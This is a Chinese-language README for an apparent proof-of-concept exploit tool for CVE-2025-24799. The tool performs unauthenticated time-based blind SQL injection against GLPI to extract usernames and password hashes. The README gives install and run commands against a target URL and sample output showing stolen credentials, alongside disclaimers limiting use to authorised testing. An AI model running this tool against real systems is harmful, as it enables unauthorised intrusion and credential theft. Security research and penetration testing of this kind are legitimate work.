CVE-2025-24799 自动利用

⚡ 概述

CVE-2025-24799 是一个针对 GLPI 的概念验证（PoC）利用工具。
该工具演示了 未认证 SQL 注入（基于时间的盲注），用于提取用户凭据。

免责声明： 此 PoC 仅供教育目的使用。请勿在未经许可的系统上使用。

🛠 功能特性

• 检测 glpi_users 表以及所需列（name 和 password）
• 按顺序提取用户名和密码
• 基于时间的盲注 SQL 注入，实现未认证利用
• 彩色控制台输出，包含状态、成功、失败和信息消息
• 基于 Python 3.x，依赖极少

⚙️ 安装

1. 克隆仓库：

git clone https://github.com/Rosemary1337/CVE-2025-24799.git
cd CVE-2025-24799

2. 安装依赖：

pip install -r requirements.txt

依赖项：requests、colorama、beautifulsoup4

🚀 使用方法

python3 main.py -u <TARGET_URL>

示例：

python3 main.py -u http://target.com/index.php/ajax

命令行参数

🎨 输出

控制台会显示：

• 状态消息 [•]
• 成功 [✔]
• 失败 [✖]
• 信息 [i]

示例：

[•] Exploiting CVE-2025-24799...
[✔] Table 'glpi_users' found.
[✔] Required columns verified.
[i] Starting credential extraction...

[+] Credential 1: admin:5f4dcc3b5aa765d61d8327deb882cf99
[+] Credential 2: user:123456
[*] Extraction complete.

🔐 安全与免责声明

• 仅供 教育与测试目的 使用。
• 请勿在未经明确许可的情况下攻击网站。
• 仅在受控实验室或经授权的渗透测试环境中使用。

🔗 联系我

我是一名活跃的开发者，热衷于构建工具并分享知识。你可以通过以下方式联系我：